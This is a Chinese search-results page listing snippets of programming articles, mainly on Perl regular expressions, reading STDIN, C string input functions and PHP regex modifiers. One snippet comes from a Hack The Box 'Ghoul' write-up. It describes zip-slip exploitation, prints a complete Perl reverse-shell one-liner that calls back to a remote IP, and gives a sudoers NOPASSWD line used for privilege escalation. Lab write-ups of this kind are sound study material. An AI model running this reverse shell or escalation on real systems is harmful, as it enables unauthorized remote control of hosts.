首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

PERL学习笔记---正则表达式的应用

\n”; } 匹配任何字符:/s 默认情况下,点(.)不匹配换行符,这对于“单行中查找”的问题能很好解决。如果你的字符串中有换行符,并希望点(.)能匹 配它们,那可以使用/s 这个修饰符。...这段代码将读入一行,由右边的模式进行匹配,然后丢弃此输入◆。它没有使用$_。 ◆输入的字符不会自动存储在$_中,除非行输入操作(STDIN>)单独出现在while 循环的条件判断部分。...由于这些变量含有字符串,那它们是标量变量;在Perl 中,它们具有像$1, $2 这样的名字。变量个数同模式中括号对数的个 数是相同的。如$4 是指第四对括号所匹配的字符串◆。...注意输出中没有逗号。因为第二块内存中没有逗号。使用这种技术,可以选择 我们感兴趣的部分。 匹配变量可能是空的◆,如果其没有被匹配上。...另一种说法是,$`中含有正则表达式引擎在匹配成功前所找到的变 量,而$'为此模式还没有匹配的剩余部分。

69930
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    C语言字符串IO

    常见的一个错误写法:scanf要把信息拷贝到参数指定的地址上,而此时的参数是一个未初始话的指针,那么可以指向程中的任意的地址,可能会擦写掉程序中的数据和到吗,导致程序中断。...如果读入从键盘输入的数据,则以stdin作为参数,改标识符定义在stdio,h中。...= '\n')//读取但是不存储输入,包括\n continue; 案例三: 程序读取输入行,删除储存在字符串中的换行符,如果没有换行符,则丢弃数组装不下的字符。...; else //如果没有换行符则丢弃字符串剩余的部分 while(getchar() !...(类似于gets) 如果gets_s()函数读取到最大字符都没有读取到换行符时,会执行以下几步: 首先把目标数组中的首字符设置为空字符,读取并丢弃随后的输入直至读取到换行符或文件结尾,然后返回空指针。

    4.6K10

    Perl正则表达式超详细教程

    中,对于需要参数的函数或表达式,但却没有给参数,这是将会使用perl的默认参数变量$_。...需要注意的是,STDIN>读取的输入会自带换行符,所以print输出的时候不要加上额外的换行符。 例如,在test.pl文件中写入如下内容: #!...实际上,在开启了g全局匹配后,perl每次在成功匹配的时候都会记下匹配的字符位移,以便在下次匹配该内容时候,可以从指定位移处继续向后匹配。...,其实它在有换行符的时候匹配”\n”,而不是”\n”的前、后,在没有换行符的时候,匹配行尾。...,N中,它们和\1,\2,...\N在匹配成功时的结果上没有区别,但是\N这种类型的反向引用只在正则匹配中有效,正则匹配结束后就消亡了,而N因为是perl的变量,即使正则已经退出匹配,也依然可以引用。

    6.2K30

    简短的perl程序

    简短的perl程序能够实现大功能。   perl是如何做到的呢?   1....perl语言每条语句可像管道那样运行,通过默认变量$_串接起来。   2. 特殊语法      利用一些正常情况下没有含义的语法,如while(){}.     ...如果按照正常的语法,这个定法的意义是:读取一行文本,然后丢弃。      由于正常情况下没有人会这么用,perl语言将这一语法利用起来了。在实际中写起来非常方便。   3....变量值不用给定初值,不用提前声明      perl会自动为变量选择合适的初值,如果没有给定的话。      对于数值,初值为0;对于字符串,初值为““,也就是空字符串。   4....简短,再加上perl与shell结合非常好,可以在命令行上直接写出简短又功能强大的代码。   一个常用用法: find . |perl -e 'while(){...}'

    47930

    perl学习笔记---标量

    $meal; #同上 变量内插通常也叫做双引号内插,因为它在双 引号中(而非单引号)才有效 3.如果一个变量未被赋值,这是一种特殊的未定义值,undef 4.如果值为数字,0 是false;其余为真 ●...所有的引用(在Alpaca 书中有详细讨论)都是true。...5.chomp 操作 chomp ($text = STDIN>); #读入,但不含换行符 如果结尾有两个或两个以上的换行符◆,chomp 仅去掉一个。如果没有,那什么也不做,返回0。...作为一个函数,它有一个返回值,为移除的字符的个数。这个数字基本上没什么用 5.要分辨其是undef 还是空串,可以使用defined 函数,它将在为undef 时返回false,其余返回true。...use diagnostics $ perl–Mdiagnostics .

    98220

    gets 、getchar 、fgets 、scanf的用法

    我们知道,对于 gets 函数,它的任务是从 stdin 流中读取字符串,直至接收到换行符或 EOF 时停止,并将读取的结果存放在 buffer 指针所指向的字符数组中。...这里需要注意的是,换行符不作为读取串的内容,读取的换行符被转换为 null(’\0’) 值,并由此来结束字符串。即换行符会被丢弃,然后在末尾添加 null(’\0’) 字符。...与 gets 函数不同的是,如果 fgets 函数读到换行符,就会把它存储到字符串中,而不是像 gets 函数那样丢弃它。即给定参数 n,fgets 函数只能读取 n-1 个字符(包括换行符)。...如果第一次输入的时候超过了10个字符(其中没有按回车键).   那么在第一次回车后会显示两个字符串的内容,第一次输入的多于10个的字符保存到了第二个字符数组中。   请问这是为什么?...stdin是标准输入(也就是键盘输入),C标准库里面的一个全局变量stdin也是FILE*类型的,因此在使用FILE*类型作为参数的地方,可以使用stdin*/ printf("%s\n%s\n",str1

    3.3K60

    PHP正则表达式的模式修正符

    默认不能表示换行符号,将字符串视为单行。如果设定了此修正符,模式中的圆点元字符(.)匹配所有的字符,包括换行符。没有此设定的话,则不包括换行符。这和 Perl 的 /s 修正符是等效的。...如果设定了此修正符,模式中的空白字符除了被转义的或在字符类中的以外完全被忽略,在未转义的字符类之外的 # 以及下一个换行符之间的所有字符,包括两头,也都被忽略。...Perl 中没有与其等价的修正符。 S 当一个模式将被使用若干次时,为加速匹配起见值得先对其进行分析。如果设定了此修正符则会进行额外的分析。...X (PCRE_EXTRA) 此修正符启用了一个PCRE中与Perl不兼容的额外功能。模式中的任何反斜线后面跟上一个没有特殊意义的字母导致一个错误,从而保留此组合以备将来扩充。...e/U匹配abceadeddd中的abceade而不是abce,如果不加U修正,则匹配abceu(PCRE_UTF8)此修正符启用了一个PCRE中与Perl不兼容的额外功能。

    1.5K20

    Perl语言入门系列之三:文件输入与输出

    在上面程序中,由于即使这一行为空行、0,也会有换行符的存在,在布尔值上下文中仍为真,所以去掉defined函数仍是成立的while ($line = ) {…}。...,也可以在脚本中强制指定文件。...Perl有保留的内置文件句柄名,具体如下所示: STDIN: 标准输入流(standard input stream),最基本的是键盘输入例如行输入操作符STDIN>,也可以根据用户要求从文件输入或者经由管道..., ">$ARGV[1]"); open (OUT2, "<$my_input"); 在Perl 5.6及更高的版本中,可以直接把文件句柄放到标量变量里,如下所示: open my $rocks_fh,...'<', 'rocks.txt'; 如果某数据流任务已经完成,可以使用close操作符关闭相应的文件句柄,如下所示: close FILE; ⑹句柄错误信息 在Perl中可以使用die操作符处理程序遇到的致命错误

    2.4K20

    Perl正则表达式:正则匹配

    在初步了解了正则表达式语言之后,接下来需要了解如何在Perl中使用正则表达式。...\n"; } 运行结果如下所示: 在if的圆括号内默认匹配的是变量$_的内容,因此这段程序实际上是下面所示: $_ = "yabba dabba doo"; if ($_ =~ /y(.)(.)\2\...常用的匹配模式下的修饰符有以下几种: 上面表格中不同的模式修饰符可以进行组合使用,而且其顺序对模式没有影响,如下所示: /abc....*xyz/is #忽略大小写并使点号匹配任意字符 ⑶锚位 从Perl 5开始,脱字符^和$表示行首和行尾的锚位,这对行输入的数据非常有用,因为行输入的字符串有且只有一个换行符在末尾。...事实上,Perl会自动将这些圆括号内的捕获组储存在称为捕获变量的标量变量里面,其变量名与反向引用的编号一样都是数字,其命名与捕获组编号相同,也即$1、$2…。

    4.2K10

    Perl语言入门系列之一

    ='world' 在操作或赋值中如果引入了一个从未被赋值的标量变量,则会视为空字符串或数字0对待,这时候这个新变量实际上拥有一个特殊的值undef,表示未定义。...在Perl中变量因赋值而存在,不需要预先声明变量,在未赋值之前为undef,而赋值也是Perl中唯一的声明变量的方法。...在Perl 5.10及以上的版本中,可以使用命令say代替print,say命令会在输出的内容后自动添加换行符,而不需要在代码中添加。...⑵STDIN行输入 在Perl脚本中,可以使用行输入操作符STDIN>来让Perl程序读取标准输入的数据(这里一般指键盘输入)。...只要把STDIN>放在脚本中希望返回标量值的地方,程序运行到这个地方就会停下来,等待键盘输入内容,直到换行符为止。

    1.6K30

    Perl快速入门学习

    ”简单重复的劳动”,把更多的精力放在程序设计和正则表达式上; Perl的mod_perl 的模块允许 Apache web 服务器使用 Perl 解释器。...'This is a Demo'" This is a Demo #示例2.命令行替换文件中的文本 perl -p -i -e 's/sysread/read/g' file.txt #示例2.额外的功能...line anchor),^$将切换到逻辑行模式; Perl提供例如许多简洁的元字符: \cx 匹配由X指明的控制字符 \n : 换行符 \f : ASCII 进制符号 \t : tab键符号 \b...$demo = STDIN>; #交互式接收用户输入 chomp($demo); #去掉$demo变量中输入的换行符 # 关键点:注意=~符号后的 m/,匹配成功返回true否则false if...在使用正则匹配的需要对$和@需要转义 $符号既可以作为字符串结束字符,又可以在Perl中作为标记变量; @情况与之类似,Perl用@表示数组名,在Perl中的字符串或者正则表达式中也可以容许出现数组变量

    2.4K20

    PHP 正则表达式后面接的isU, is, s含义

    i (小写)匹配大小写 s (小写)模式中的圆点元字符(.)匹配所有的字符,包括换行符 x (小写)模式中的空白字符除了被转义的或在字符类中的以外完全被忽略,在未转义的字符类之外的 # 以及下一个换行符之间的所有字符...没有此选项时,如果最后一个字符是换行符的话,美元符号也会匹配此字符之前(但不会匹配任何其它换行符之前)。如果设定了 m 修正符则忽略此选项。Perl 中没有与其等价的修正符。...如果设定了此修正符则会进行额外的分析。目前,分析一个模式仅对没有单一固定起始字符的 non-anchored 模式有用。...X (PCRE_EXTRA) 此修正符启用了一个 PCRE 中与 Perl 不兼容的额外功能。模式中的任何反斜线后面跟上一个没有特殊意义的字母导致一个错误,从而保留此组合以备将来扩充。...e/U匹配abceadeddd中的abceade而不是abce,如果不加U修正,则匹配abceu (PCRE_UTF8) 此修正符启用了一个 PCRE 中与 Perl 不兼容的额外功能。

    2.4K20

    清除 Cu002FC++ 中的输入缓冲区

    在各种情况下,您可能需要清除不需要的缓冲区,以便在所需容器中而不是在前一个变量的缓冲区中获取下一个输入。...在第一次输入后在输出屏幕上按“Enter”(回车)时,由于前一个变量的缓冲区是新容器的空间(因为我们没有清除它),程序会跳过下面的输入容器。 从那些“Hello World”程序中升级。...= '\n');” 读取缓冲区字符直到结束并丢弃它们(包括换行符)并在“scanf()”语句清除输入缓冲区并允许在所需容器中输入后使用它。...使用“cin.ignore(numeric_limits::max(),'\n'); ”  :- 输入“cin.ignore(numeric_limits::max(),'\n');” 在“cin”语句丢弃输入流中的所有内容之后...使用“cin.sync()”: 在“cin”语句之后输入“cin.sync()”会丢弃缓冲区中剩余的所有内容。尽管“cin.sync()”并不适用于所有实现(根据 C++11 及以上标准)。

    89630

    PHP中的正则表达式及模式匹配

    PHP中对于正则处理文本提供了两种方式,一种是PCRE方式(PCRE库是一个实现了与perl 5在语法和语义上略有差异(详见下文)的正则表达式模式匹配功能的函数集....s(PCRE_DOTALL) 如果设定了此修正符,模式中的圆点元字符(.)匹配所有的字符,包括换行符。没有此设定的话,则不包括换行符。这和 Perl 的 /s 修正符是等效的。...x (PCRE_EXTENDED) 如果设置了这个修饰符, 模式中的没有经过转义的或不在字符类中的空白数据字符总会被忽略, 并且位于一个未转义的字符类外部的#字符和下一个换行符之间的字符也被忽略....如果这个修饰符 没有设置, 当字符串以一个换行符结尾时, 美元符号还会匹配该换行符(但不会匹配之前的任何换行符). 如果设置了修饰符m, 这个修饰符被忽略. 在perl中没有与此修饰符等同的修饰符....模式中的任意反斜线后就ingen一个 没有特殊含义的字符都会导致一个错误, 以此保留这些字符以保证向后兼容性. 默认 情况下, 在perl中, 反斜线紧跟一个没有特殊含义的字符被认为是该字符的原文.

    2.9K20

    c语言中gets()的详细用法

    从stdin流中读取字符串,直至接受到换行符 大家好,我是架构君,一个会写代码吟诗的架构师。...从stdin流中读取字符串,直至接受到换行符或EOF时停止,并将读取的结果存放在buffer指针所指向的字符数组中。换行符不作为读取串的内容,读取的换行符被转换为‘\0’空字符,并由此来结束字符串。...这个事实导致gets函数只适用于玩具程序,为了避免这种情况,我们可以用fgets(stdin) (fgets实际上可以读取标准输入(即大多数情况下的键盘输入),具体参阅fgets词条)来替换gets()...在V7的手册(1979年)中说明:为了向后兼容,gets删除换行符,gets并不将换行符存入缓冲区。...,但换行符会被丢弃,然后在末尾添加'\0'字符。

    1.6K20

    Hackthebox-Ghoul

    图片上传穿不了马,发现zip可以上传带php脚本内容的文件 网上查出zip-slip,当application中存在压缩包解压代码且没有验证文件的情况下,会构成zip-slip漏洞 相关链接:https...连上webshell 我们开启nc监听,用perl反连 perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname...("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR...,">&S");exec("/bin/sh -i");}; 连上webshell后我们尝试将shell升级为完全交互式的TTY 准备工作:需要在自己的终端上面检查STTY和TERM的信息 用stty -...用mount可以查看到web是跑在docker里面的,我们可以将在sudoers文件里面写入命令,将www-data提升为root权限,写入的内容如下:www-data ALL=(ALL) NOPASSWD

    51810

    要点3:输入函数对比与自定义输入方式

    读取一行,遇到换行符,直接丢弃换行符; 会自动在字符串末尾添加\0; 返回字符串指针,读取失败返回null; gets_s 可以设置读取的字符串长度; 读到换行符,将换行符丢弃; 如果读取到最大字符数...,还没有读取到换行符或文件结尾,读取并丢弃随后的输入直至遇到换行符或EOF; 返回字符串指针,读取失败返回null; c11的可选函数 fgets 可以设置读取的字符串长度; 读到换行符不丢弃存到数组里...因为无法解析的值会继续留在缓冲区供下次使用,所以如果是循环scanf,程序就会跑飞,让你没有输入的机会,可以使用综上一节提供的示例测试一下,运行后直接输入f。...gets函数简单易用,它读取整行输入,直到遇到换行符,然后丢弃换行符,存储其余字符,并在这些字符的末尾添加一个空字符使其成为一个c字符串。...fgets 这个函数除了可以从标准输入读取字符串之外,还可以从文件中读取,而且可以指定读取字符个数,比gets_s更加灵活易用,利用fgets,但是fgets不会自动丢弃超过字符个数之外的行缓冲区数据,

    77540

    Perl快速入门学习

    ”简单重复的劳动”,把更多的精力放在程序设计和正则表达式上; Perl的mod_perl 的模块允许 Apache web 服务器使用 Perl 解释器。...'This is a Demo'" This is a Demo #示例2.命令行替换文件中的文本 perl -p -i -e 's/sysread/read/g' file.txt #示例2.额外的功能...line anchor),^$将切换到逻辑行模式; Perl提供例如许多简洁的元字符: \cx 匹配由X指明的控制字符 \n : 换行符 \f : ASCII 进制符号 \t : tab键符号...$demo = STDIN>; #交互式接收用户输入 chomp($demo); #去掉$demo变量中输入的换行符 # 关键点:注意=~符号后的 m/,匹配成功返回true否则false if...在使用正则匹配的需要对$和@需要转义 $符号既可以作为字符串结束字符,又可以在Perl中作为标记变量; @情况与之类似,Perl用@表示数组名,在Perl中的字符串或者正则表达式中也可以容许出现数组变量

    1.3K20
    领券